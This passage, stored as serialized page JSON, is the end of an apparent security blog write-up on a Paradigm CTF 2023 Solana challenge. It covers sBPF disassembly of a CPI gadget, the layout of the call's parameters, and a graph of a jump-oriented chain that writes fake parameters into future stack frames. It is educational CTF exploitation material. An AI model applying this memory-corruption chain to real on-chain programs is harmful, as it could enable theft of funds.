class":92,"line":683},[46565,46570,46575,46579,46583,46587,46591,46595,46600,46604,46609],{"type":24,"tag":90,"props":46566,"children":46567},{"style":136},[46568],{"type":29,"value":46569},"100001c10",{"type":24,"tag":90,"props":46571,"children":46572},{"style":136},[46573],{"type":29,"value":46574}," 79a2b8ff00000000",{"type":24,"tag":90,"props":46576,"children":46577},{"style":136},[46578],{"type":29,"value":45947},{"type":24,"tag":90,"props":46580,"children":46581},{"style":136},[46582],{"type":29,"value":45952},{"type":24,"tag":90,"props":46584,"children":46585},{"style":114},[46586],{"type":29,"value":45957},{"type":24,"tag":90,"props":46588,"children":46589},{"style":136},[46590],{"type":29,"value":45962},{"type":24,"tag":90,"props":46592,"children":46593},{"style":120},[46594],{"type":29,"value":346},{"type":24,"tag":90,"props":46596,"children":46597},{"style":349},[46598],{"type":29,"value":46599},"72",{"type":24,"tag":90,"props":46601,"children":46602},{"style":114},[46603],{"type":29,"value":45976},{"type":24,"tag":90,"props":46605,"children":46606},{"style":136},[46607],{"type":29,"value":46608},"var_48",{"type":24,"tag":90,"props":46610,"children":46611},{"style":114},[46612],{"type":29,"value":827},{"type":24,"tag":90,"props":46614,"children":46615},{"class":92,"line":737},[46616,46621,46626,46631,46635,46639,46643,46647,46651,46655],{"type":24,"tag":90,"props":46617,"children":46618},{"style":136},[46619],{"type":29,"value":46620},"100001c18",{"type":24,"tag":90,"props":46622,"children":46623},{"style":349},[46624],{"type":29,"value":46625}," 1502040000000000",{"type":24,"tag":90,"props":46627,"children":46628},{"style":136},[46629],{"type":29,"value":46630}," jeq",{"type":24,"tag":90,"props":46632,"children":46633},{"style":114},[46634],{"type":29,"value":11095},{"type":24,"tag":90,"props":46636,"children":46637},{"style":120},[46638],{"type":29,"value":6767},{"type":24,"tag":90,"props":46640,"children":46641},{"style":349},[46642],{"type":29,"value":4051},{"type":24,"tag":90,"props":46644,"children":46645},{"style":114},[46646],{"type":29,"value":8207},{"type":24,"tag":90,"props":46648,"children":46649},{"style":136},[46650],{"type":29,"value":46328},{"type":24,"tag":90,"props":46652,"children":46653},{"style":114},[46654],{"type":29,"value":133},{"type":24,"tag":90,"props":46656,"children":46657},{"style":349},[46658],{"type":29,"value":46211},{"type":24,"tag":90,"props":46660,"children":46661},{"class":92,"line":751},[46662],{"type":24,"tag":90,"props":46663,"children":46664},{"emptyLinePlaceholder":16},[46665],{"type":29,"value":245},{"type":24,"tag":90,"props":46667,"children":46668},{"class":92,"line":782},[46669,46674,46679,46684,46688,46692],{"type":24,"tag":90,"props":46670,"children":46671},{"style":136},[46672],{"type":29,"value":46673},"100001c20",{"type":24,"tag":90,"props":46675,"children":46676},{"style":349},[46677],{"type":29,"value":46678}," 2702000022000000",{"type":24,"tag":90,"props":46680,"children":46681},{"style":136},[46682],{"type":29,"value":46683}," mul",{"type":24,"tag":90,"props":46685,"children":46686},{"style":136},[46687],{"type":29,"value":45952},{"type":24,"tag":90,"props":46689,"children":46690},{"style":114},[46691],{"type":29,"value":133},{"type":24,"tag":90,"props":46693,"children":46694},{"style":349},[46695],{"type":29,"value":46696},"0x22\n",{"type":24,"tag":90,"props":46698,"children":46699},{"class":92,"line":791},[46700,46705,46710,46714,46718,46722,46726,46730,46735,46739,46744],{"type":24,"tag":90,"props":46701,"children":46702},{"style":136},[46703],{"type":29,"value":46704},"100001c28",{"type":24,"tag":90,"props":46706,"children":46707},{"style":136},[46708],{"type":29,"value":46709}," 79a1b0ff00000000",{"type":24,"tag":90,"props":46711,"children":46712},{"style":136},[46713],{"type":29,"value":45947},{"type":24,"tag":90,"props":46715,"children":46716},{"style":136},[46717],{"type":29,"value":46241},{"type":24,"tag":90,"props":46719,"children":46720},{"style":114},[46721],{"type":29,"value":45957},{"type":24,"tag":90,"props":46723,"children":46724},{"style":136},[46725],{"type":29,"value":45962},{"type":24,"tag":90,"props":46727,"children":46728},{"style":120},[46729],{"type":29,"value":346},{"type":24,"tag":90,"props":46731,"children":46732},{"style":349},[46733],{"type":29,"value":46734},"80",{"type":24,"tag":90,"props":46736,"children":46737},{"style":114},[46738],{"type":29,"value":45976},{"type":24,"tag":90,"props":46740,"children":46741},{"style":136},[46742],{"type":29,"value":46743},"var_50",{"type":24,"tag":90,"props":46745,"children":46746},{"style":114},[46747],{"type":29,"value":827},{"type":24,"tag":90,"props":46749,"children":46750},{"class":92,"line":799},[46751,46756,46761,46765,46769,46773],{"type":24,"tag":90,"props":46752,"children":46753},{"style":136},[46754],{"type":29,"value":46755},"100001c30",{"type":24,"tag":90,"props":46757,"children":46758},{"style":136},[46759],{"type":29,"value":46760}," b703000001000000",{"type":24,"tag":90,"props":46762,"children":46763},{"style":136},[46764],{"type":29,"value":46236},{"type":24,"tag":90,"props":46766,"children":46767},{"style":136},[46768],{"type":29,"value":46007},{"type":24,"tag":90,"props":46770,"children":46771},{"style":114},[46772],{"type":29,"value":133},{"type":24,"tag":90,"props":46774,"children":46775},{"style":349},[46776],{"type":29,"value":46777},"0x1\n",{"type":24,"tag":90,"props":46779,"children":46780},{"class":92,"line":807},[46781,46786,46791,46795],{"type":24,"tag":90,"props":46782,"children":46783},{"style":136},[46784],{"type":29,"value":46785},"100001c38",{"type":24,"tag":90,"props":46787,"children":46788},{"style":136},[46789],{"type":29,"value":46790}," 8510000003feffff",{"type":24,"tag":90,"props":46792,"children":46793},{"style":136},[46794],{"type":29,"value":46158},{"type":24,"tag":90,"props":46796,"children":46797},{"style":136},[46798],{"type":29,"value":46799}," __rust_dealloc\n",{"type":24,"tag":90,"props":46801,"children":46802},{"class":92,"line":821},[46803],{"type":24,"tag":90,"props":46804,"children":46805},{"emptyLinePlaceholder":16},[46806],{"type":29,"value":245},{"type":24,"tag":90,"props":46808,"children":46809},{"class":92,"line":6278},[46810,46815,46820,46824,46828,46832,46836,46840,46845,46849,46854],{"type":24,"tag":90,"props":46811,"children":46812},{"style":136},[46813],{"type":29,"value":46814},"100001c40",{"type":24,"tag":90,"props":46816,"children":46817},{"style":136},[46818],{"type":29,"value":46819}," 79a2d0ff00000000",{"type":24,"tag":90,"props":46821,"children":46822},{"style":136},[46823],{"type":29,"value":45947},{"type":24,"tag":90,"props":46825,"children":46826},{"style":136},[46827],{"type":29,"value":45952},{"type":24,"tag":90,"props":46829,"children":46830},{"style":114},[46831],{"type":29,"value":45957},{"type":24,"tag":90,"props":46833,"children":46834},{"style":136},[46835],{"type":29,"value":45962},{"type":24,"tag":90,"props":46837,"children":46838},{"style":120},[46839],{"type":29,"value":346},{"type":24,"tag":90,"props":46841,"children":46842},{"style":349},[46843],{"type":29,"value":46844},"48",{"type":24,"tag":90,"props":46846,"children":46847},{"style":114},[46848],{"type":29,"value":45976},{"type":24,"tag":90,"props":46850,"children":46851},{"style":136},[46852],{"type":29,"value":46853},"var_30",{"type":24,"tag":90,"props":46855,"children":46856},{"style":114},[46857],{"type":29,"value":827},{"type":24,"tag":90,"props":46859,"children":46860},{"class":92,"line":11420},[46861,46866,46871,46875,46879,46883,46887,46891,46895,46899],{"type":24,"tag":90,"props":46862,"children":46863},{"style":136},[46864],{"type":29,"value":46865},"100001c48",{"type":24,"tag":90,"props":46867,"children":46868},{"style":349},[46869],{"type":29,"value":46870}," 1502030000000000",{"type":24,"tag":90,"props":46872,"children":46873},{"style":136},[46874],{"type":29,"value":46630},{"type":24,"tag":90,"props":46876,"children":46877},{"style":114},[46878],{"type":29,"value":11095},{"type":24,"tag":90,"props":46880,"children":46881},{"style":120},[46882],{"type":29,"value":6767},{"type":24,"tag":90,"props":46884,"children":46885},{"style":349},[46886],{"type":29,"value":3817},{"type":24,"tag":90,"props":46888,"children":46889},{"style":114},[46890],{"type":29,"value":8207},{"type":24,"tag":90,"props":46892,"children":46893},{"style":136},[46894],{"type":29,"value":46328},{"type":24,"tag":90,"props":46896,"children":46897},{"style":114},[46898],{"type":29,"value":133},{"type":24,"tag":90,"props":46900,"children":46901},{"style":349},[46902],{"type":29,"value":46211},{"type":24,"tag":90,"props":46904,"children":46905},{"class":92,"line":11438},[46906],{"type":24,"tag":90,"props":46907,"children":46908},{"emptyLinePlaceholder":16},[46909],{"type":29,"value":245},{"type":24,"tag":90,"props":46911,"children":46912},{"class":92,"line":11483},[46913,46918,46923,46927,46931,46935,46939,46943,46948,46952,46957],{"type":24,"tag":90,"props":46914,"children":46915},{"style":136},[46916],{"type":29,"value":46917},"100001c50",{"type":24,"tag":90,"props":46919,"children":46920},{"style":136},[46921],{"type":29,"value":46922}," 79a1c8ff00000000",{"type":24,"tag":90,"props":46924,"children":46925},{"style":136},[46926],{"type":29,"value":45947},{"type":24,"tag":90,"props":46928,"children":46929},{"style":136},[46930],{"type":29,"value":46241},{"type":24,"tag":90,"props":46932,"children":46933},{"style":114},[46934],{"type":29,"value":45957},{"type":24,"tag":90,"props":46936,"children":46937},{"style":136},[46938],{"type":29,"value":45962},{"type":24,"tag":90,"props":46940,"children":46941},{"style":120},[46942],{"type":29,"value":346},{"type":24,"tag":90,"props":46944,"children":46945},{"style":349},[46946],{"type":29,"value":46947},"56",{"type":24,"tag":90,"props":46949,"children":46950},{"style":114},[46951],{"type":29,"value":45976},{"type":24,"tag":90,"props":46953,"children":46954},{"style":136},[46955],{"type":29,"value":46956},"var_38",{"type":24,"tag":90,"props":46958,"children":46959},{"style":114},[46960],{"type":29,"value":827},{"type":24,"tag":90,"props":46962,"children":46963},{"class":92,"line":11589},[46964,46969,46973,46977,46981,46985],{"type":24,"tag":90,"props":46965,"children":46966},{"style":136},[46967],{"type":29,"value":46968},"100001c58",{"type":24,"tag":90,"props":46970,"children":46971},{"style":136},[46972],{"type":29,"value":46760},{"type":24,"tag":90,"props":46974,"children":46975},{"style":136},[46976],{"type":29,"value":46236},{"type":24,"tag":90,"props":46978,"children":46979},{"style":136},[46980],{"type":29,"value":46007},{"type":24,"tag":90,"props":46982,"children":46983},{"style":114},[46984],{"type":29,"value":133},{"type":24,"tag":90,"props":46986,"children":46987},{"style":349},[46988],{"type":29,"value":46777},{"type":24,"tag":90,"props":46990,"children":46991},{"class":92,"line":25306},[46992,46997,47002,47006],{"type":24,"tag":90,"props":46993,"children":46994},{"style":136},[46995],{"type":29,"value":46996},"100001c60",{"type":24,"tag":90,"props":46998,"children":46999},{"style":136},[47000],{"type":29,"value":47001}," 85100000fefdffff",{"type":24,"tag":90,"props":47003,"children":47004},{"style":136},[47005],{"type":29,"value":46158},{"type":24,"tag":90,"props":47007,"children":47008},{"style":136},[47009],{"type":29,"value":46799},{"type":24,"tag":90,"props":47011,"children":47012},{"class":92,"line":25341},[47013],{"type":24,"tag":90,"props":47014,"children":47015},{"emptyLinePlaceholder":16},[47016],{"type":29,"value":245},{"type":24,"tag":90,"props":47018,"children":47019},{"class":92,"line":25349},[47020,47025,47030,47035,47040,47045],{"type":24,"tag":90,"props":47021,"children":47022},{"style":136},[47023],{"type":29,"value":47024},"100001c68",{"type":24,"tag":90,"props":47026,"children":47027},{"style":349},[47028],{"type":29,"value":47029}," 9500000000000000",{"type":24,"tag":90,"props":47031,"children":47032},{"style":136},[47033],{"type":29,"value":47034}," exit",{"type":24,"tag":90,"props":47036,"children":47037},{"style":114},[47038],{"type":29,"value":47039}," {",{"type":24,"tag":90,"props":47041,"children":47042},{"style":136},[47043],{"type":29,"value":47044},"__return_addr",{"type":24,"tag":90,"props":47046,"children":47047},{"style":114},[47048],{"type":29,"value":827},{"type":24,"tag":25,"props":47050,"children":47051},{},[47052,47054,47060],{"type":29,"value":47053},"Which, assuming that ",{"type":24,"tag":32,"props":47055,"children":47057},{"className":47056},[],[47058],{"type":29,"value":47059},"sol_invoke_signed_rust",{"type":29,"value":47061}," returns 0, is doing the following:",{"type":24,"tag":3100,"props":47063,"children":47064},{},[47065,47074,47083],{"type":24,"tag":3104,"props":47066,"children":47067},{},[47068],{"type":24,"tag":32,"props":47069,"children":47071},{"className":47070},[],[47072],{"type":29,"value":47073},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":24,"tag":3104,"props":47075,"children":47076},{},[47077],{"type":24,"tag":32,"props":47078,"children":47080},{"className":47079},[],[47081],{"type":29,"value":47082},"*[r10-120] = 0x18",{"type":24,"tag":3104,"props":47084,"children":47085},{},[47086,47088,47094,47096,47103],{"type":29,"value":47087},"Calls ",{"type":24,"tag":32,"props":47089,"children":47091},{"className":47090},[],[47092],{"type":29,"value":47093},"__rust_dealloc",{"type":29,"value":47095},", which in default circumstances is a ",{"type":24,"tag":69,"props":47097,"children":47100},{"href":47098,"rel":47099},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[73],[47101],{"type":29,"value":47102},"NOP",{"type":29,"value":226},{"type":24,"tag":25,"props":47105,"children":47106},{},[47107],{"type":29,"value":47108},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":24,"tag":25,"props":47110,"children":47111},{},[47112],{"type":29,"value":47113},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":24,"tag":25,"props":47115,"children":47116},{},[47117,47119,47126],{"type":29,"value":47118},"Looking at the ",{"type":24,"tag":69,"props":47120,"children":47123},{"href":47121,"rel":47122},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[73],[47124],{"type":29,"value":47125},"definition",{"type":29,"value":47127},", it's not crystal clear what the parameters are:",{"type":24,"tag":80,"props":47129,"children":47131},{"className":82,"code":47130,"language":84,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64\n",[47132],{"type":24,"tag":32,"props":47133,"children":47134},{"__ignoreMap":7},[47135],{"type":24,"tag":90,"props":47136,"children":47137},{"class":92,"line":93},[47138,47142,47147,47151,47156,47160,47164,47168,47172,47176,47181,47185,47189,47193,47197,47201,47206,47210,47214,47218,47223,47227,47231,47235,47239,47243,47248,47252,47256,47260,47264],{"type":24,"tag":90,"props":47139,"children":47140},{"style":97},[47141],{"type":29,"value":22062},{"type":24,"tag":90,"props":47143,"children":47144},{"style":108},[47145],{"type":29,"value":47146}," sol_invoke_signed_rust",{"type":24,"tag":90,"props":47148,"children":47149},{"style":114},[47150],{"type":29,"value":117},{"type":24,"tag":90,"props":47152,"children":47153},{"style":136},[47154],{"type":29,"value":47155},"instruction_addr",{"type":24,"tag":90,"props":47157,"children":47158},{"style":120},[47159],{"type":29,"value":78},{"type":24,"tag":90,"props":47161,"children":47162},{"style":120},[47163],{"type":29,"value":366},{"type":24,"tag":90,"props":47165,"children":47166},{"style":97},[47167],{"type":29,"value":508},{"type":24,"tag":90,"props":47169,"children":47170},{"style":146},[47171],{"type":29,"value":1123},{"type":24,"tag":90,"props":47173,"children":47174},{"style":114},[47175],{"type":29,"value":133},{"type":24,"tag":90,"props":47177,"children":47178},{"style":136},[47179],{"type":29,"value":47180},"account_infos_addr",{"type":24,"tag":90,"props":47182,"children":47183},{"style":120},[47184],{"type":29,"value":78},{"type":24,"tag":90,"props":47186,"children":47187},{"style":120},[47188],{"type":29,"value":366},{"type":24,"tag":90,"props":47190,"children":47191},{"style":97},[47192],{"type":29,"value":508},{"type":24,"tag":90,"props":47194,"children":47195},{"style":146},[47196],{"type":29,"value":1123},{"type":24,"tag":90,"props":47198,"children":47199},{"style":114},[47200],{"type":29,"value":133},{"type":24,"tag":90,"props":47202,"children":47203},{"style":136},[47204],{"type":29,"value":47205},"account_infos_len",{"type":24,"tag":90,"props":47207,"children":47208},{"style":120},[47209],{"type":29,"value":78},{"type":24,"tag":90,"props":47211,"children":47212},{"style":146},[47213],{"type":29,"value":376},{"type":24,"tag":90,"props":47215,"children":47216},{"style":114},[47217],{"type":29,"value":133},{"type":24,"tag":90,"props":47219,"children":47220},{"style":136},[47221],{"type":29,"value":47222},"signers_seeds_addr",{"type":24,"tag":90,"props":47224,"children":47225},{"style":120},[47226],{"type":29,"value":78},{"type":24,"tag":90,"props":47228,"children":47229},{"style":120},[47230],{"type":29,"value":366},{"type":24,"tag":90,"props":47232,"children":47233},{"style":97},[47234],{"type":29,"value":508},{"type":24,"tag":90,"props":47236,"children":47237},{"style":146},[47238],{"type":29,"value":1123},{"type":24,"tag":90,"props":47240,"children":47241},{"style":114},[47242],{"type":29,"value":133},{"type":24,"tag":90,"props":47244,"children":47245},{"style":136},[47246],{"type":29,"value":47247},"signers_seeds_len",{"type":24,"tag":90,"props":47249,"children":47250},{"style":120},[47251],{"type":29,"value":78},{"type":24,"tag":90,"props":47253,"children":47254},{"style":146},[47255],{"type":29,"value":376},{"type":24,"tag":90,"props":47257,"children":47258},{"style":114},[47259],{"type":29,"value":172},{"type":24,"tag":90,"props":47261,"children":47262},{"style":120},[47263],{"type":29,"value":177},{"type":24,"tag":90,"props":47265,"children":47266},{"style":146},[47267],{"type":29,"value":15562},{"type":24,"tag":25,"props":47269,"children":47270},{},[47271,47273,47278,47280,47287],{"type":29,"value":47272},"The source of ",{"type":24,"tag":69,"props":47274,"children":47276},{"href":47275},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[47277],{"type":29,"value":45888},{"type":29,"value":47279}," helps a lot, but looking at the actual ",{"type":24,"tag":69,"props":47281,"children":47284},{"href":47282,"rel":47283},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[73],[47285],{"type":29,"value":47286},"implementation",{"type":29,"value":47288}," provides more clarity:",{"type":24,"tag":3207,"props":47290,"children":47291},{},[47292],{"type":24,"tag":3104,"props":47293,"children":47294},{},[47295,47300,47302,47309],{"type":24,"tag":32,"props":47296,"children":47298},{"className":47297},[],[47299],{"type":29,"value":47155},{"type":29,"value":47301}," points to a ",{"type":24,"tag":69,"props":47303,"children":47306},{"href":47304,"rel":47305},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[73],[47307],{"type":29,"value":47308},"StableInstruction",{"type":29,"value":78},{"type":24,"tag":25,"props":47311,"children":47312},{},[47313],{"type":24,"tag":6301,"props":47314,"children":47316},{"alt":47308,"src":47315},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":24,"tag":3207,"props":47318,"children":47319},{},[47320,47345],{"type":24,"tag":3104,"props":47321,"children":47322},{},[47323,47328,47330,47335,47337,47344],{"type":24,"tag":32,"props":47324,"children":47326},{"className":47325},[],[47327],{"type":29,"value":47180},{"type":29,"value":47329}," points to a slice of ",{"type":24,"tag":32,"props":47331,"children":47333},{"className":47332},[],[47334],{"type":29,"value":47205},{"type":29,"value":47336}," ",{"type":24,"tag":69,"props":47338,"children":47341},{"href":47339,"rel":47340},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[73],[47342],{"type":29,"value":47343},"AccountInfos",{"type":29,"value":226},{"type":24,"tag":3104,"props":47346,"children":47347},{},[47348,47353,47355,47360,47362,47367],{"type":24,"tag":32,"props":47349,"children":47351},{"className":47350},[],[47352],{"type":29,"value":47222},{"type":29,"value":47354}," is a bit trickier, it points to a slice of length ",{"type":24,"tag":32,"props":47356,"children":47358},{"className":47357},[],[47359],{"type":29,"value":47247},{"type":29,"value":47361},", containing slices of ",{"type":24,"tag":32,"props":47363,"children":47365},{"className":47364},[],[47366],{"type":29,"value":1409},{"type":29,"value":226},{"type":24,"tag":25,"props":47369,"children":47370},{},[47371],{"type":24,"tag":6301,"props":47372,"children":47375},{"alt":47373,"src":47374},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":24,"tag":25,"props":47377,"children":47378},{},[47379,47381,47386],{"type":29,"value":47380},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":24,"tag":842,"props":47382,"children":47383},{},[47384],{"type":29,"value":47385},"future call frames",{"type":29,"value":226},{"type":24,"tag":25,"props":47388,"children":47389},{},[47390,47392,47399],{"type":29,"value":47391},"Now that we have all the parts, all we need is to string it together. The full ",{"type":24,"tag":69,"props":47393,"children":47396},{"href":47394,"rel":47395},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[73],[47397],{"type":29,"value":47398},"reference solution can be found here",{"type":29,"value":226},{"type":24,"tag":25,"props":47401,"children":47402},{},[47403],{"type":29,"value":47404},"Here's a visualization of the final JOP chain.",{"type":24,"tag":80,"props":47406,"children":47408},{"className":45770,"code":47407,"language":45772,"meta":7,"style":7},"graph BT\n A[0: entrypoint] --> B[1: process_instruction]\n B --> C[2: process]\n C --> D[3: Write account_infos.ptr to target_r10 - 136]\n C --> E[3: process]\n E --> F[4: Write account_infos.len to target_r10 - 128]\n E --> G[4: process]\n G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n G --> I[5: process]\n I --> J[6: Write signers_seeds.len to target_r10 - 144]\n I --> K[6: process]\n K --> M[7: Write HeapBase to target_r10 - 120]\n K --> N[7: process]\n N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n N --> O[8: Write 0x4337 to the account]\n",[47409],{"type":24,"tag":32,"props":47410,"children":47411},{"__ignoreMap":7},[47412,47420,47427,47434,47442,47449,47457,47465,47473,47481,47489,47497,47505,47513,47521],{"type":24,"tag":90,"props":47413,"children":47414},{"class":92,"line":93},[47415],{"type":24,"tag":90,"props":47416,"children":47417},{},[47418],{"type":29,"value":47419},"graph BT\n",{"type":24,"tag":90,"props":47421,"children":47422},{"class":92,"line":200},[47423],{"type":24,"tag":90,"props":47424,"children":47425},{},[47426],{"type":29,"value":45792},{"type":24,"tag":90,"props":47428,"children":47429},{"class":92,"line":239},[47430],{"type":24,"tag":90,"props":47431,"children":47432},{},[47433],{"type":29,"value":45800},{"type":24,"tag":90,"props":47435,"children":47436},{"class":92,"line":248},[47437],{"type":24,"tag":90,"props":47438,"children":47439},{},[47440],{"type":29,"value":47441}," C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":24,"tag":90,"props":47443,"children":47444},{"class":92,"line":258},[47445],{"type":24,"tag":90,"props":47446,"children":47447},{},[47448],{"type":29,"value":45816},{"type":24,"tag":90,"props":47450,"children":47451},{"class":92,"line":272},[47452],{"type":24,"tag":90,"props":47453,"children":47454},{},[47455],{"type":29,"value":47456}," E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":24,"tag":90,"props":47458,"children":47459},{"class":92,"line":281},[47460],{"type":24,"tag":90,"props":47461,"children":47462},{},[47463],{"type":29,"value":47464}," E --> G[4: process]\n",{"type":24,"tag":90,"props":47466,"children":47467},{"class":92,"line":384},[47468],{"type":24,"tag":90,"props":47469,"children":47470},{},[47471],{"type":29,"value":47472}," G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":24,"tag":90,"props":47474,"children":47475},{"class":92,"line":420},[47476],{"type":24,"tag":90,"props":47477,"children":47478},{},[47479],{"type":29,"value":47480}," G --> I[5: process]\n",{"type":24,"tag":90,"props":47482,"children":47483},{"class":92,"line":428},[47484],{"type":24,"tag":90,"props":47485,"children":47486},{},[47487],{"type":29,"value":47488}," I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":24,"tag":90,"props":47490,"children":47491},{"class":92,"line":437},[47492],{"type":24,"tag":90,"props":47493,"children":47494},{},[47495],{"type":29,"value":47496}," I --> K[6: process]\n",{"type":24,"tag":90,"props":47498,"children":47499},{"class":92,"line":574},[47500],{"type":24,"tag":90,"props":47501,"children":47502},{},[47503],{"type":29,"value":47504}," K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":24,"tag":90,"props":47506,"children":47507},{"class":92,"line":606},[47508],{"type":24,"tag":90,"props":47509,"children":47510},{},[47511],{"type":29,"value":47512}," K --> N[7: process]\n",{"type":24,"tag":90,"props":47514,"children":47515},{"class":92,"line":615},[47516],{"type":24,"tag":90,"props":47517,"children":47518},{},[47519],{"type":29,"value":47520}," N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":24,"tag":90,"props":47522,"children":47523},{"class":92,"line":623},[47524],{"type":24,"tag":90,"props":47525,"children":47526},{},[47527],{"type":29,"value":47528}," N --> O[8: Write 0x4337 to the account]\n",{"type":24,"tag":25,"props":47530,"children":47531},{},[47532,47534,47540],{"type":29,"value":47533},"Small note: ",{"type":24,"tag":32,"props":47535,"children":47537},{"className":47536},[],[47538],{"type":29,"value":47539},"target_r10",{"type":29,"value":47541}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":24,"tag":80,"props":47543,"children":47545},{"className":82,"code":47544,"language":84,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n 0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[47546],{"type":24,"tag":32,"props":47547,"children":47548},{"__ignoreMap":7},[47549,47594,47629,47636],{"type":24,"tag":90,"props":47550,"children":47551},{"class":92,"line":93},[47552,47556,47561,47565,47570,47574,47578,47582,47586,47590],{"type":24,"tag":90,"props":47553,"children":47554},{"style":97},[47555],{"type":29,"value":22062},{"type":24,"tag":90,"props":47557,"children":47558},{"style":108},[47559],{"type":29,"value":47560}," call_frame_addr",{"type":24,"tag":90,"props":47562,"children":47563},{"style":114},[47564],{"type":29,"value":117},{"type":24,"tag":90,"props":47566,"children":47567},{"style":136},[47568],{"type":29,"value":47569},"depth",{"type":24,"tag":90,"props":47571,"children":47572},{"style":120},[47573],{"type":29,"value":78},{"type":24,"tag":90,"props":47575,"children":47576},{"style":146},[47577],{"type":29,"value":376},{"type":24,"tag":90,"props":47579,"children":47580},{"style":114},[47581],{"type":29,"value":172},{"type":24,"tag":90,"props":47583,"children":47584},{"style":120},[47585],{"type":29,"value":177},{"type":24,"tag":90,"props":47587,"children":47588},{"style":146},[47589],{"type":29,"value":376},{"type":24,"tag":90,"props":47591,"children":47592},{"style":114},[47593],{"type":29,"value":269},{"type":24,"tag":90,"props":47595,"children":47596},{"class":92,"line":200},[47597,47602,47606,47611,47615,47620,47624],{"type":24,"tag":90,"props":47598,"children":47599},{"style":349},[47600],{"type":29,"value":47601}," 0x200000000",{"type":24,"tag":90,"props":47603,"children":47604},{"style":120},[47605],{"type":29,"value":1714},{"type":24,"tag":90,"props":47607,"children":47608},{"style":349},[47609],{"type":29,"value":47610}," 0x2000",{"type":24,"tag":90,"props":47612,"children":47613},{"style":120},[47614],{"type":29,"value":366},{"type":24,"tag":90,"props":47616,"children":47617},{"style":136},[47618],{"type":29,"value":47619}," depth",{"type":24,"tag":90,"props":47621,"children":47622},{"style":120},[47623],{"type":29,"value":1714},{"type":24,"tag":90,"props":47625,"children":47626},{"style":349},[47627],{"type":29,"value":47628}," 0x1000\n",{"type":24,"tag":90,"props":47630,"children":47631},{"class":92,"line":239},[47632],{"type":24,"tag":90,"props":47633,"children":47634},{"style":114},[47635],{"type":29,"value":827},{"type":24,"tag":90,"props":47637,"children":47638},{"class":92,"line":248},[47639],{"type":24,"tag":90,"props":47640,"children":47641},{"style":252},[47642],{"type":29,"value":47643},"// call_frame_addr(8) = 0x200011000\n",{"type":24,"tag":850,"props":47645,"children":47646},{"id":30743},[47647],{"type":29,"value":20741},{"type":24,"tag":25,"props":47649,"children":47650},{},[47651,47653,47660],{"type":29,"value":47652},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":24,"tag":69,"props":47654,"children":47657},{"href":47655,"rel":47656},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[73],[47658],{"type":29,"value":47659},"they do exist",{"type":29,"value":226},{"type":24,"tag":25,"props":47662,"children":47663},{},[47664],{"type":29,"value":47665},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":24,"tag":25,"props":47667,"children":47668},{},[47669,47671,47676],{"type":29,"value":47670},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":24,"tag":842,"props":47672,"children":47673},{},[47674],{"type":29,"value":47675},"entire",{"type":29,"value":47677}," runtime.",{"type":24,"tag":5249,"props":47679,"children":47680},{},[47681],{"type":29,"value":5253},{"title":7,"searchDepth":200,"depth":200,"links":47683},[47684,47688,47689,47692],{"id":20750,"depth":200,"text":20753,"children":47685},[47686,47687],{"id":42358,"depth":239,"text":42361},{"id":43677,"depth":239,"text":43680},{"id":44916,"depth":200,"text":44919},{"id":45752,"depth":200,"text":45755,"children":47690},[47691],{"id":45866,"depth":239,"text":45869},{"id":30743,"depth":200,"text":20741},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":47697,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":47698,"description":47699,"author":47700,"image":47701,"date":47703,"isFeatured":16,"onBlogPage":16,"body":47704,"_type":5270,"_id":48850,"_source":5272,"_file":48851,"_stem":48852,"_extension":5275},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide 